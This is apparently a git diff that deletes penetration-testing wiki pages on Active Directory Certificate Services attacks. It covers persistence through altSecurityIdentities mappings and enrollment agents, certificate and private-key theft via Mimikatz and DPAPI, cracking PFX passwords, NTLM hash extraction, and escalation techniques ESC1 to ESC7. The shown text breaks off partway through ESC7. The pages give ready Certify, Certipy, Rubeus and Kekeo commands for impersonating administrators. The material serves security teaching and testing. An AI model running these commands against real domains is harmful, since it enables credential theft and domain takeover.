-- The cert chain must build to a root trusted by the DC. Enterprise CAs in NTAuth are typically trusted; some environments also trust public CAs.
-- Schannel authentication remains useful for persistence even when PKINIT fails because the DC lacks the Smart Card Logon EKU or returns `KDC_ERR_PADATA_TYPE_NOSUPP`.
-
-#### 2025+ `Issuer/SID` explicit mappings
-
-On **Windows Server 2022+** domain controllers patched with the **September 9, 2025** security update, Microsoft added another strong explicit mapping format that is attractive for persistence because it survives certificate reissuance from the same CA:
-
-```powershell
-# Same issuer formatting rules as Issuer+Serial
-$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA'
-$SID    = 'S-1-5-21-1111111111-2222222222-3333333333-1105'
-$Map    = "X509:<I>$Issuer<SID>$SID"
-Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
-```
-
-Operationally this differs from the older strong formats:
-- `Issuer+Serial` pins **one exact certificate**.
-- `SKI` / `SHA1-PUKEY` pin **one keypair**.
-- `Issuer/SID` pins the **issuing CA + target SID**, so renewed or reissued certificates from the same CA keep working without rewriting `altSecurityIdentities`.
-
-Requirements and caveats
-- The certificate presented for logon must actually contain the target account SID in the SID security extension.
-- This format is not helpful for `ESC9` / `ESC16` style certificates that omit the SID extension; in those cases fall back to `Issuer+Serial`, `SKI`, or `SHA1-PUKEY`.
-
-For more on weak explicit mappings and attack paths, see:
-
-
-{{#ref}}
-domain-escalation.md
-{{#endref}}
-
-## Enrollment Agent as Persistence – PERSIST5
-
-If you obtain a valid Certificate Request Agent/Enrollment Agent certificate, you can mint new logon-capable certificates on behalf of users at will and keep the agent PFX offline as a persistence token. Abuse workflow:
-
-```bash
-# Request an Enrollment Agent cert (requires template rights)
-Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
-
-# Mint a user cert on behalf of another principal using the agent PFX
-Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \
-                   /onbehalfof:CORP\\victim /enrollcert:C:\Temp\agent.pfx /enrollcertpw:AgentPfxPass
-
-# Or with Certipy
-certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-           -template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx
-```
-
-Revocation of the agent certificate or template permissions is required to evict this persistence.
-
-Operational notes
-- Modern `Certipy` versions support both `-on-behalf-of` and `-renew`, so an attacker holding an Enrollment Agent PFX can mint and later renew leaf certificates without re-touching the original target account.
-- If PKINIT-based TGT retrieval is not possible, the resulting on-behalf-of certificate is still usable for Schannel authentication with `certipy auth -pfx victim_onbo.pfx -dc-ip 10.0.0.10 -ldap-shell`.
-
-## Using Persisted Certificates When PKINIT Fails
-
-If the DC does not have a Smart Card Logon-capable certificate, certificate logon via PKINIT can fail with `KDC_ERR_PADATA_TYPE_NOSUPP`. That does **not** kill the persistence primitive: the same PFX is often still usable for Schannel-authenticated LDAP access.
-
-```bash
-# LDAPS / Schannel shell as the mapped principal
-certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 -ldap-shell
-
-# LDAP StartTLS fallback if 636 is filtered but 389/TLS is reachable
-certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 -ldap-shell -ldap-scheme ldap -ldap-port 389
-```
-
-This is especially useful after PERSIST4/PERSIST5 because you can keep operating from Linux/macOS and chain other directory persistence actions such as dropping [shadow credentials](../acl-persistence-abuse/shadow-credentials.md) or editing writable delegation attributes.
-
-## 2025 Strong Certificate Mapping Enforcement: Impact on Persistence
-
-Microsoft KB5014754 introduced Strong Certificate Mapping Enforcement on domain controllers. Since **February 11, 2025**, DCs default to **Full Enforcement** for weak/ambiguous mappings, and as of the **September 9, 2025** security update patched DCs no longer support the old Compatibility-mode fallback. Practical implications:
-
-- Pre-2022 certificates that lack the SID mapping extension may fail implicit mapping when DCs are in Full Enforcement. Attackers can maintain access by either renewing certificates through AD CS (to obtain the SID extension) or by planting a strong explicit mapping in `altSecurityIdentities` (PERSIST4).
-- Explicit mappings using strong formats (`Issuer+Serial`, `SKI`, `SHA1-PUKEY`, and on modern DCs `Issuer/SID`) continue to work. Weak formats (Issuer/Subject, Subject-only, RFC822) can be blocked and should be avoided for persistence.
-- If weak mappings still appear to work, assume you hit an unpatched or differently configured DC rather than a reliable long-term persistence path.
-- `ESC9` / `ESC16` style issuance paths that suppress the SID extension make `Issuer/SID` unusable, so fallback strong mappings or renewal via a normal template become the practical persistence option.
-
-Administrators should monitor and alert on:
-- Changes to `altSecurityIdentities` and issuance/renewals of Enrollment Agent and User certificates.
-- CA issuance logs for on-behalf-of requests and unusual renewal patterns.
-
-## References
-
-- [Microsoft Support – KB5014754: Certificate-based authentication changes on Windows domain controllers](https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16)
-- [SpecterOps – ADCS ESC14 Abuse Technique](https://specterops.io/blog/2024/02/28/adcs-esc14-abuse-technique/)
-- [GhostPack/Certify Wiki – Account Persistence Techniques](https://github.com/GhostPack/Certify/wiki/2-%E2%80%90-Account-Persistence-Techniques)
-- [Certipy Wiki – Command Reference](https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference)
-- [Almond Offensive Security – Authenticating with certificates when PKINIT is not supported](https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html)
-- [Microsoft Community Hub – Introducing a new Issuer/SID AltSecID](https://techcommunity.microsoft.com/blog/publicsectorblog/introducing-a-new-issuersid-altsecid/4454231)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md
deleted file mode 100644
index 488ecf8f377..00000000000
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md
+++ /dev/null
@@ -1,122 +0,0 @@
-# AD CS Certificate Theft
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-**This is a small summary of the Theft chapters of the awesome research from [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
-
-## What can I do with a certificate
-
-Before checking how to steal the certificates here you have some info about how to find what the certificate is useful for:
-
-```bash
-# Powershell
-$CertPath = "C:\path\to\cert.pfx"
-$CertPass = "P@ssw0rd"
-$Cert = New-Object
-System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
-$Cert.EnhancedKeyUsageList
-
-# cmd
-certutil.exe -dump -v cert.pfx
-```
-
-## Exporting Certificates Using the Crypto APIs – THEFT1
-
-In an **interactive desktop session**, extracting a user or machine certificate, along with the private key, can be easily done, particularly if the **private key is exportable**. This can be achieved by navigating to the certificate in `certmgr.msc`, right-clicking on it, and selecting `All Tasks → Export` to generate a password-protected .pfx file.
-
-For a **programmatic approach**, tools such as the PowerShell `ExportPfxCertificate` cmdlet or projects like [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer) are available. These utilize the **Microsoft CryptoAPI** (CAPI) or the Cryptography API: Next Generation (CNG) to interact with the certificate store. These APIs provide a range of cryptographic services, including those necessary for certificate storage and authentication.
-
-However, if a private key is set as non-exportable, both CAPI and CNG will normally block the extraction of such certificates. To bypass this restriction, tools like **Mimikatz** can be employed. Mimikatz offers `crypto::capi` and `crypto::cng` commands to patch the respective APIs, allowing for the exportation of private keys. Specifically, `crypto::capi` patches the CAPI within the current process, while `crypto::cng` targets the memory of **lsass.exe** for patching.
-
-## User Certificate Theft via DPAPI – THEFT2
-
-More info about DPAPI in:
-
-
-{{#ref}}
-../../windows-local-privilege-escalation/dpapi-extracting-passwords.md
-{{#endref}}
-
-In Windows, **certificate private keys are safeguarded by DPAPI**. It's crucial to recognize that the **storage locations for user and machine private keys** are distinct, and the file structures vary depending on the cryptographic API utilized by the operating system. **SharpDPAPI** is a tool that can navigate these differences automatically when decrypting the DPAPI blobs.
-
-**User certificates** are predominantly housed in the registry under `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, but some can also be found in the directory `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. The corresponding **private keys** for these certificates are typically stored in `%APPDATA%\Microsoft\Crypto\RSA\User SID\` for **CAPI** keys and `%APPDATA%\Microsoft\Crypto\Keys\` for **CNG** keys.
-
-To **extract a certificate and its associated private key**, the process involves:
-
-1. **Selecting the target certificate** from the user’s store and retrieving its key store name.
-2. **Locating the required DPAPI masterkey** to decrypt the corresponding private key.
-3. **Decrypting the private key** by utilizing the plaintext DPAPI masterkey.
-
-For **acquiring the plaintext DPAPI masterkey**, the following approaches can be used:
-
-```bash
-# With mimikatz, when running in the user's context
-dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc
-
-# With mimikatz, if the user's password is known
-dpapi::masterkey /in:"C:\PATH\TO\KEY" /sid:accountSid /password:PASS
-```
-
-To streamline the decryption of masterkey files and private key files, the `certificates` command from [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) proves beneficial. It accepts `/pvk`, `/mkfile`, `/password`, or `{GUID}:KEY` as arguments to decrypt the private keys and linked certificates, subsequently generating a `.pem` file.
-
-```bash
-# Decrypting using SharpDPAPI
-SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt
-
-# Converting .pem to .pfx
-openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
-```
-
-## Machine Certificate Theft via DPAPI – THEFT3
-
-Machine certificates stored by Windows in the registry at `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` and the associated private keys located in `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (for CAPI) and `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (for CNG) are encrypted using the machine's DPAPI master keys. These keys cannot be decrypted with the domain’s DPAPI backup key; instead, the **DPAPI_SYSTEM LSA secret**, which only the SYSTEM user can access, is required.
-
-Manual decryption can be achieved by executing the `lsadump::secrets` command in **Mimikatz** to extract the DPAPI_SYSTEM LSA secret, and subsequently using this key to decrypt the machine masterkeys. Alternatively, Mimikatz’s `crypto::certificates /export /systemstore:LOCAL_MACHINE` command can be used after patching CAPI/CNG as previously described.
-
-**SharpDPAPI** offers a more automated approach with its certificates command. When the `/machine` flag is used with elevated permissions, it escalates to SYSTEM, dumps the DPAPI_SYSTEM LSA secret, uses it to decrypt the machine DPAPI masterkeys, and then employs these plaintext keys as a lookup table to decrypt any machine certificate private keys.
-
-## Finding Certificate Files – THEFT4
-
-Certificates are sometimes found directly within the filesystem, such as in file shares or the Downloads folder. The most commonly encountered types of certificate files targeted towards Windows environments are `.pfx` and `.p12` files. Though less frequently, files with extensions `.pkcs12` and `.pem` also appear. Additional noteworthy certificate-related file extensions include:
-
-- `.key` for private keys,
-- `.crt`/`.cer` for certificates only,
-- `.csr` for Certificate Signing Requests, which do not contain certificates or private keys,
-- `.jks`/`.keystore`/`.keys` for Java Keystores, which may hold certificates along with private keys utilized by Java applications.
-
-These files can be searched for using PowerShell or the command prompt by looking for the mentioned extensions.
-
-In cases where a PKCS#12 certificate file is found and it is protected by a password, the extraction of a hash is possible through the use of `pfx2john.py`, available at [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html). Subsequently, JohnTheRipper can be employed to attempt to crack the password.
-
-```bash
-# Example command to search for certificate files in PowerShell
-Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys
-
-# Example command to use pfx2john.py for extracting a hash from a PKCS#12 file
-pfx2john.py certificate.pfx > hash.txt
-
-# Command to crack the hash with JohnTheRipper
-john --wordlist=passwords.txt hash.txt
-```
-
-## NTLM Credential Theft via PKINIT – THEFT5 (UnPAC the hash)
-
-The given content explains a method for NTLM credential theft via PKINIT, specifically through the theft method labeled as THEFT5. Here's a re-explanation in passive voice, with the content anonymized and summarized where applicable:
-
-To support NTLM authentication `MS-NLMP` for applications that do not facilitate Kerberos authentication, the KDC is designed to return the user's NTLM one-way function (OWF) within the privilege attribute certificate (PAC), specifically in the `PAC_CREDENTIAL_INFO` buffer, when PKCA is utilized. Consequently, should an account authenticate and secure a Ticket-Granting Ticket (TGT) via PKINIT, a mechanism is inherently provided which enables the current host to extract the NTLM hash from the TGT to uphold legacy authentication protocols. This process entails the decryption of the `PAC_CREDENTIAL_DATA` structure, which is essentially an NDR serialized depiction of the NTLM plaintext.
-
-The utility **Kekeo**, accessible at [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo), is mentioned as capable of requesting a TGT containing this specific data, thereby facilitating the retrieval of the user's NTLM. The command utilized for this purpose is as follows:
-
-```bash
-tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local
-```
-
-**`Rubeus`** can also get this information with the option **`asktgt [...] /getcredentials`**.
-
-Additionally, it is noted that Kekeo can process smartcard-protected certificates, given the pin can be retrieved, with reference made to [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). The same capability is indicated to be supported by **Rubeus**, available at [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus).
-
-This explanation encapsulates the process and tools involved in NTLM credential theft via PKINIT, focusing on the retrieval of NTLM hashes through TGT obtained using PKINIT, and the utilities that facilitate this process.
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
deleted file mode 100644
index 646398d8e43..00000000000
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
+++ /dev/null
@@ -1,1036 +0,0 @@
-# AD CS Domain Escalation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-**This is a summary of escalation technique sections of the posts:**
-
-- [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
-- [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
-- [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
-
-## Misconfigured Certificate Templates - ESC1
-
-### Explanation
-
-### Misconfigured Certificate Templates - ESC1 Explained
-
-- **Enrolment rights are granted to low-privileged users by the Enterprise CA.**
-- **Manager approval is not required.**
-- **No signatures from authorized personnel are needed.**
-- **Security descriptors on certificate templates are overly permissive, allowing low-privileged users to obtain enrolment rights.**
-- **Certificate templates are configured to define EKUs that facilitate authentication:**
-  - Extended Key Usage (EKU) identifiers such as Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA) are included.
-- **The ability for requesters to include a subjectAltName in the Certificate Signing Request (CSR) is allowed by the template:**
-  - The Active Directory (AD) prioritizes the subjectAltName (SAN) in a certificate for identity verification if present. This means that by specifying the SAN in a CSR, a certificate can be requested to impersonate any user (e.g., a domain administrator). Whether a SAN can be specified by the requester is indicated in the certificate template's AD object through the `mspki-certificate-name-flag` property. This property is a bitmask, and the presence of the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag permits the specification of the SAN by the requester.
-
-> [!CAUTION]
-> The configuration outlined permits low-privileged users to request certificates with any SAN of choice, enabling authentication as any domain principal through Kerberos or SChannel.
-
-This feature is sometimes enabled to support the on-the-fly generation of HTTPS or host certificates by products or deployment services, or due to a lack of understanding.
-
-It is noted that creating a certificate with this option triggers a warning, which is not the case when an existing certificate template (such as the `WebServer` template, which has `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` enabled) is duplicated and then modified to include an authentication OID.
-
-### Abuse
-
-To **find vulnerable certificate templates** you can run:
-
-```bash
-Certify.exe find /vulnerable
-certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
-```
-
-To **abuse this vulnerability to impersonate an administrator** one could run:
-
-```bash
-# Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
-Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
-
-# Optionally pin the target's SID into the request (post-2022 SID mapping aware)
-Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500
-
-# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well
-Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \
-  /url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500
-
-# Certipy equivalent
-certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
-  -template 'ESC1' -upn 'administrator@corp.local'
-```
-
-Then you can transform the generated **certificate to `.pfx`** format and use it to **authenticate using Rubeus or certipy** again:
-
-```bash
-Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
-certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
-```
-
-The Windows binaries "Certreq.exe" & "Certutil.exe" can be used to generate the PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
-
-The enumeration of certificate templates within the AD Forest's configuration schema, specifically those not necessitating approval or signatures, possessing a Client Authentication or Smart Card Logon EKU, and with the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag enabled, can be performed by running the following LDAP query:
-
-```
-(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
-```
-
-## Misconfigured Certificate Templates - ESC2
-
-### Explanation
-
-The second abuse scenario is a variation of the first one:
-
-1. Enrollment rights are granted to low-privileged users by the Enterprise CA.
-2. The requirement for manager approval is disabled.
-3. The need for authorized signatures is omitted.
-4. An overly permissive security descriptor on the certificate template grants certificate enrollment rights to low-privileged users.
-5. **The certificate template is defined to include the Any Purpose EKU or no EKU.**
-
-The **Any Purpose EKU** permits a certificate to be obtained by an attacker for **any purpose**, including client authentication, server authentication, code signing, etc. The same **technique used for ESC3** can be employed to exploit this scenario.
-
-Certificates with **no EKUs**, which act as subordinate CA certificates, can be exploited for **any purpose** and can **also be used to sign new certificates**. Hence, an attacker could specify arbitrary EKUs or fields in the new certificates by utilizing a subordinate CA certificate.
-
-However, new certificates created for **domain authentication** will not function if the subordinate CA is not trusted by the **`NTAuthCertificates`** object, which is the default setting. Nonetheless, an attacker can still create **new certificates with any EKU** and arbitrary certificate values. These could be potentially **abused** for a wide range of purposes (e.g., code signing, server authentication, etc.) and could have significant implications for other applications in the network like SAML, AD FS, or IPSec.
-
-To enumerate templates that match this scenario within the AD Forest’s configuration schema, the following LDAP query can be run:
-
-```
-(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
-```
-
-## Misconfigured Enrolment Agent Templates - ESC3
-
-### Explanation
-
-This scenario is like the first and second one but **abusing** a **different EKU** (Certificate Request Agent) and **2 different templates** (therefore it has 2 sets of requirements),
-
-The **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), known as **Enrollment Agent** in Microsoft documentation, allows a principal to **enroll** for a **certificate** on **behalf of another user**.
-
-The **“enrollment agent”** enrolls in such a **template** and uses the resulting **certificate to co-sign a CSR on behalf of the other user**. It then **sends** the **co-signed CSR** to the CA, enrolling in a **template** that **permits “enroll on behalf of”**, and the CA responds with a **certificate belong to the “other” user**.
-
-**Requirements 1:**
-
-- Enrollment rights are granted to low-privileged users by the Enterprise CA.
-- The requirement for manager approval is omitted.
-- No requirement for authorized signatures.
-- The security descriptor of the certificate template is excessively permissive, granting enrollment rights to low-privileged users.
-- The certificate template includes the Certificate Request Agent EKU, enabling the request of other certificate templates on behalf of other principals.
-
-**Requirements 2:**
-
-- The Enterprise CA grants enrollment rights to low-privileged users.
-- Manager approval is bypassed.
-- The template's schema version is either 1 or exceeds 2, and it specifies an Application Policy Issuance Requirement that necessitates the Certificate Request Agent EKU.
-- An EKU defined in the certificate template permits domain authentication.
-- Restrictions for enrollment agents are not applied on the CA.
-
-### Abuse
-
-You can use [**Certify**](https://github.com/GhostPack/Certify) or [**Certipy**](https://github.com/ly4k/Certipy) to abuse this scenario:
-
-```bash
-# Request an enrollment agent certificate
-Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
-certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'
-
-# Enrollment agent certificate to issue a certificate request on behalf of
-# another user to a template that allow for domain authentication
-Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
-certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
-
-# Use Rubeus with the certificate to authenticate as the other user
-Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
-```
-
-The **users** who are allowed to **obtain** an **enrollment agent certificate**, the templates in which enrollment **agents** are permitted to enroll, and the **accounts** on behalf of which the enrollment agent may act can be constrained by enterprise CAs. This is achieved by opening the `certsrc.msc` **snap-in**, **right-clicking on the CA**, **clicking Properties**, and then **navigating** to the “Enrollment Agents” tab.
-
-However, it is noted that the **default** setting for CAs is to “**Do not restrict enrollment agents**.” When the restriction on enrollment agents is enabled by administrators, setting it to “Restrict enrollment agents,” the default configuration remains extremely permissive. It allows **Everyone** access to enroll in all templates as anyone.
-
-## Vulnerable Certificate Template Access Control - ESC4
-
-### **Explanation**
-
-The **security descriptor** on **certificate templates** defines the **permissions** specific **AD principals** possess concerning the template.
-
-Should an **attacker** possess the requisite **permissions** to **alter** a **template** and **institute** any **exploitable misconfigurations** outlined in **prior sections**, privilege escalation could be facilitated.
-
-Notable permissions applicable to certificate templates include:
-
-- **Owner:** Grants implicit control over the object, allowing for the modification of any attributes.
-- **FullControl:** Enables complete authority over the object, including the capability to alter any attributes.
-- **WriteOwner:** Permits the alteration of the object's owner to a principal under the attacker's control.
-- **WriteDacl:** Allows for the adjustment of access controls, potentially granting an attacker FullControl.
-- **WriteProperty:** Authorizes the editing of any object properties.
-
-### Abuse
-
-To identify principals with edit rights on templates and other PKI objects, enumerate with Certify:
-
-```bash
-Certify.exe find /showAllPermissions
-Certify.exe pkiobjects /domain:corp.local /showAdmins
-```
-
-An example of a privesc like the previous one:
-
-<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
-
-ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1.
-
-As we can see in the path above, only `JOHNPC` has these privileges, but our user `JOHN` has the new `AddKeyCredentialLink` edge to `JOHNPC`. Since this technique is related to certificates, I have implemented this attack as well, which is known as [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Here’s a little sneak peak of Certipy’s `shadow auto` command to retrieve the NT hash of the victim.
-
-```bash
-certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
-```
-
-**Certipy** can overwrite the configuration of a certificate template with a single command. By **default**, Certipy will **overwrite** the configuration to make it **vulnerable to ESC1**. We can also specify the **`-save-old` parameter to save the old configuration**, which will be useful for **restoring** the configuration after our attack.
-
-```bash
-# Make template vuln to ESC1
-certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
-
-# Exploit ESC1
-certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local
-
-# Restore config
-certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
-```
-
-## Vulnerable PKI Object Access Control - ESC5
-
-### Explanation
-
-The extensive web of interconnected ACL-based relationships, which includes several objects beyond certificate templates and the certificate authority, can impact the security of the entire AD CS system. These objects, which can significantly affect security, encompass:
-
-- The AD computer object of the CA server, which may be compromised through mechanisms like S4U2Self or S4U2Proxy.
-- The RPC/DCOM server of the CA server.
-- Any descendant AD object or container within the specific container path `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. This path includes, but is not limited to, containers and objects such as the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, and the Enrollment Services Container.
-
-The security of the PKI system can be compromised if a low-privileged attacker manages to gain control over any of these critical components.
-
-## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
-
-### Explanation
-
-The subject discussed in the [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) also touches on the **`EDITF_ATTRIBUTESUBJECTALTNAME2`** flag's implications, as outlined by Microsoft. This configuration, when activated on a Certification Authority (CA), permits the inclusion of **user-defined values** in the **subject alternative name** for **any request**, including those constructed from Active Directory®. Consequently, this provision allows an **intruder** to enroll through **any template** set up for domain **authentication**—specifically those open to **unprivileged** user enrollment, like the standard User template. As a result, a certificate can be secured, enabling the intruder to authenticate as a domain administrator or **any other active entity** within the domain.
-
-**Note**: The approach for appending **alternative names** into a Certificate Signing Request (CSR), through the `-attrib "SAN:"` argument in `certreq.exe` (referred to as “Name Value Pairs”), presents a **contrast** from the exploitation strategy of SANs in ESC1. Here, the distinction lies in **how account information is encapsulated**—within a certificate attribute, rather than an extension.
-
-### Abuse
-
-To verify whether the setting is activated, organizations can utilize the following command with `certutil.exe`:
-
-```bash
-certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
-```
-
-This operation essentially employs **remote registry access**, hence, an alternative approach might be:
-
-```bash
-reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
-```
-
-Tools like [**Certify**](https://github.com/GhostPack/Certify) and [**Certipy**](https://github.com/ly4k/Certipy) are capable of detecting this misconfiguration and exploiting it:
-
-```bash
-# Detect vulnerabilities, including this one
-Certify.exe find
-
-# Exploit vulnerability
-Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
-certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
-```
-
-To alter these settings, assuming one possesses **domain administrative** rights or equivalent, the following command can be executed from any workstation:
-
-```bash
-certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
-```
-
-To disable this configuration in your environment, the flag can be removed with:
-
-```bash
-certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
-```
-
-> [!WARNING]
-> Post the May 2022 security updates, newly issued **certificates** will contain a **security extension** that incorporates the **requester's `objectSid` property**. For ESC1, this SID is derived from the specified SAN. However, for **ESC6**, the SID mirrors the **requester's `objectSid`**, not the SAN.\
-> To exploit ESC6, it is essential for the system to be susceptible to ESC10 (Weak Certificate Mappings), which prioritizes the **SAN over the new security extension**.
-
-## Vulnerable Certificate Authority Access Control - ESC7
-
-### Attack 1
-
-#### Explanation
-
-Access control for a certificate authority is maintained through a set of permissions that govern CA actions. These permissions can be viewed by accessing `certsrv.msc`, right-clicking a CA, selecting properties, and then navigating to the Security tab. Additionally, permissions can be enumerated using the PSPKI module with commands such as:
-
-```bash
-Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
-```
-
-This provides insights into the primary rights, namely **`ManageCA`** and **`ManageCertificates`**, correlating to the roles of “CA administrator” and “Certificate Manager” respectively.
-
-#### Abuse
-
-Having **`ManageCA`** rights on a certificate authority enables the principal to manipulate settings remotely using PSPKI. This includes toggling the **`EDITF_ATTRIBUTESUBJECTALTNAME2`** flag to permit SAN specification in any template, a critical aspect of domain escalation.
-
-Simplification of this process is achievable through the use of PSPKI’s **Enable-PolicyModuleFlag** cmdlet, allowing modifications without direct GUI interaction.
-
-Possession of **`ManageCertificates`** rights facilitates the approval of pending requests, effectively circumventing the "CA certificate manager approval" safeguard.
-
-A combination of **Certify** and **PSPKI** modules can be utilized to request, approve, and download a certificate:
-
-```bash
-# Request a certificate that will require an approval
-Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
-[...]
-[*] CA Response      : The certificate is still pending.
-[*] Request ID       : 336
-[...]
-
-# Use PSPKI module to approve the request
-Import-Module PSPKI
-Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest
-
-# Download the certificate
-Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
-```
-
-### Attack 2
-
-#### Explanation
-
